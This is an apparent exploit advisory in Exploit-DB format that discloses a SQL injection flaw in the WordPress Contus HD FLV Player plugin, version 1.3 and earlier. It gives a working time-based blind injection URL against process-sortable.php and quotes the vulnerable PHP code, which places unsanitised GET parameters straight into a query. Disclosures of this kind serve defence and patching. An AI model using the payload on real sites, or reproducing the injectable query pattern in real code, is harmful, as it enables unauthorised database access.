WordPress Contus HD FLV Player plugin <= 1.3 SQL Injection Vulnerability

# Exploit Title: WordPress Contus HD FLV Player plugin <= 1.3 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/contus-hd-flv-player.1.3.zip
# Version: 1.3 (tested)

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PoC
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http://www.site.com/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1

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Vulnerable code
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$pid1 = $_GET['playid'];

foreach ($_GET['listItem'] as $position => $item) :
    mysql_query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 ");
endforeach;